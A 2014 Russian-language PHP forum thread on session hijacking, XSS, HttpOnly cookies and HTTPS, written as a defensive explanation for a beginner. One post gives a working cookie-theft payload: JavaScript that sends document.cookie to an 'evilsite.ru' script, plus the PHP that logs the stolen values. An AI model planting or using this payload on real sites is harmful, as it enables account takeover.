Warning: Cannot use a scalar value as an array in /home/admin/public_html/forum/include/fm.class.php on line 757

Warning: Invalid argument supplied for foreach() in /home/admin/public_html/forum/include/fm.class.php on line 770
Форумы портала PHP.SU :: Версия для печати :: Сессии и их безопастность
Форумы портала PHP.SU » » Вопросы новичков » Сессии и их безопастность

Страниц (1): [1]
 

1. imper - 10 Апреля, 2014 - 18:41:22 - перейти к сообщению
Всем привет.
Писал сайт, только сейчас задумался о безопасности...
Авторизация происходит стандартным образом сверяются логин и пасс шифрованные по базе, если всё кул, то в сессию пихаем id юзера из базы и кое какую инфу...
допустим id юзера в базе = 3 пихаем в

вообщем вся суть:
я везде проверяю
PHP:
скопировать код в буфер обмена
  1.  !empty($_SESSION['id_user']) {
  2.  
  3. //то соответственно какие то действия с бозой и т д
  4.  
  5. }


вот в чём прикол, можно же спереть из куки идентификатор сессии и зайти под пользователем с id = 3 ???!!!!
без особых усилий

если так то время жизни сессии ставить маленькоенебольшое? и каждый раз не просто вставлять id а шифровать id и добавлять новую сгенерированную строку??
2. Мелкий - 10 Апреля, 2014 - 18:45:19 - перейти к сообщению
Сперва соприте чужую куку.
Если вам это удастся - весь мир в ваших руках.
3. esterio - 10 Апреля, 2014 - 18:53:37 - перейти к сообщению
хм XSS как раз призван спереть куку
CORS AJAX на другой сайт с document.cookie;
Или невидимый iframe.
Но если фильтровать данные на входе и на выходе то такого не должно произойти.
А еще есть http_only в куках, что еще сильнее увеличивать сложность спереть куку.
Но есть же трояни всякые ...
4. IllusionMH - 10 Апреля, 2014 - 18:56:55 - перейти к сообщению
Даешь HTTPS (не забыть заапдейтить OpenSSL)
5. imper - 10 Апреля, 2014 - 19:03:45 - перейти к сообщению
esterio - ну xss это дело старое, я через pdo к базе обращаюсь, и ещё и данные фильтрую, так что пускай хоть об xss'сятся Голливудская улыбкаD


IllusionMH - да уж, openssl от слова open, особенно после его "вседырчатости"... ды и денюжку он стоит Недовольство, огорчение
6. IllusionMH - 10 Апреля, 2014 - 19:12:26 - перейти к сообщению
imper, во-первых - openssl бесплатный, а во-вторых - баг, даже такой крупный - не показатель дырявости(а сколько багов/дырок в вашем коде?). в-третьих, не одним openssl едины.
7. esterio - 10 Апреля, 2014 - 19:18:22 - перейти к сообщению
imper пишет:
я через pdo к базе обращаюсь, и ещё и данные фильтрую, так что пускай хоть об xss'сятся Голливудская улыбкаD

как связаны PDO и XSS?
8. IllusionMH - 10 Апреля, 2014 - 19:26:57 - перейти к сообщению
esterio, так же как и SQL Injection и XSS Радость
9. teddy - 10 Апреля, 2014 - 19:28:46 - перейти к сообщению
imper пишет:
ну xss это дело старое

Что значит старое? Использование PDO не имеет к XSS отношения.

Дополню немного esterio по кукокраже небольшим примером
CODE (javascript):
скопировать код в буфер обмена
  1. var img = new Image;
  2. img.src = 'http://evilsite.ru/evilscript.php?xss='+document.cookie;
  3. document.body.appendChild(img);


И всё, капец куке. Когда браузер увидит что ему нужно забрать картинку, он полезет по указанному злому адресу за картинкой(подразумевается, что есть XSS уязвимость). А в файлике со злым скриптом достаточно будет сделать следующее:
PHP:
скопировать код в буфер обмена
  1. if(isset($_GET['xss'])){
  2.     file_put_contents('xsslog.txt', $_GET['xss'], FILE_APPEND);
  3. }

И тю-тю. Записали в себе лог содержимое кук.

esterio пишет:
А еще есть http_only в куках, что еще сильнее увеличивать сложность спереть куку.

Жаль, что не кроссбраузерно. Но использовать однозначно не помешает.
(Добавление)
Вывод:
1. Читаем что такое XSS атака
2. Находим решение на основе вышеуказанных ответов и применяем.
3. Не оставляем дырок.
10. IllusionMH - 10 Апреля, 2014 - 19:35:41 - перейти к сообщению
teddy пишет:
Жаль, что не кроссбраузерно.

teddy, WAT?
https://www[dot]owasp[dot]org/index.php/[dot][dot][dot]porting_HttpOnly
11. teddy - 10 Апреля, 2014 - 19:43:28 - перейти к сообщению
IllusionMH
Описание из функции setcookie
php.net пишет:

httponly
Если задано TRUE, cookie будут доступны только через HTTP протокол. То есть cookie в этом случае не будут доступны скриптовым языкам, вроде JavaScript. Эта возможность была предложена в качестве меры, эффективно снижающей количество краж личных данных посредством XSS атак (несмотря на то, что поддерживается не всеми броузерами). Стоит однако же отметить, что вокруг этой возможности часто возникают споры о ее эффективности и целесообразности. Аргумент добавлен в PHP 5.2.0. Может принимать значения TRUE или FALSE.


Описание конфига для сессионных кук
php.net пишет:
session.cookie_httponly boolean
Отметка, согласно которой доступ к cookies может быть получен только через HTTP протокол. Это означает, что cookies не будут доступны через скриптовые языки, такие как JavaScript. Данная настройка позволяет эффективно защитить от XSS атак (к сожалению, эта функция поддерживается не всеми браузерами).


Такие же надписи как и у тебя (Сам везде тестил?) Улыбка Я нет.. лень мне, а мануалу доверяю ;)
IllusionMH пишет:
openssl бесплатный

если не платить то это будет работать но браузер будет выдавать предупреждение что не удобно для пользователя - или я что то проспал? Улыбка
но для личного пользования пойдет
12. IllusionMH - 10 Апреля, 2014 - 20:07:50 - перейти к сообщению
teddy, а теперь найдите когда конкретно эти участки текста были обновлены в последний раз.
Подозреваю, что текст появился с релизом PHP 5.2 (релизнули 2.11.2006) - это уже устаревшая информация.

На странице OWASP есть инфа за конец 2011 года, которая говорит что этот параметр поддерживается. Причем в отличии от доки php, они заинтересованы в предоставлении достоверной инфы. (не говорю, что в доках php нагло врут, просто никто сломя голову не полезет обновлять эти строки с выходом очередной версии браузера)

И можно ссылку на стоимость OpenSSL? У меня есть подозрение, что в этой теме путают OpenSSL с SSL сертификатами.
13. teddy - 10 Апреля, 2014 - 20:32:44 - перейти к сообщению
IllusionMH пишет:
не говорю, что в доках php нагло врут, просто никто сломя голову не полезет обновлять эти строки с выходом очередной версии браузера

Даже если это так то не факт что все ходят на сайт с последними версиями браузера

IllusionMH пишет:
У меня есть подозрение, что в этой теме путают OpenSSL с SSL сертификатами.

Да сори. я сертификат имел ввиду, перепутал
14. IllusionMH - 10 Апреля, 2014 - 21:23:26 - перейти к сообщению
teddy, товарищи которые сидят на ие6, опера9.5, хром 3, сафари3 и т.д. - сами себе враги. 2011 год - 99% поддерживают. Сегодня апрель 2014. Те версии браузеров уже вымерли естественным путем.
15. teddy - 10 Апреля, 2014 - 21:40:29 - перейти к сообщению
IllusionMH
Ну насчет юзеров допотопных браузеров согласен, но тем не менее, такие есть и это уже говорит о том, что http_only не может работать везде - вот о чем я говорю Улыбка Я ж не говорю что надо выкинуть эту возможность и не утверждаю что все пользуются IE6 и прочим старьем...

 

Powered by ExBB FM 1.0 RC1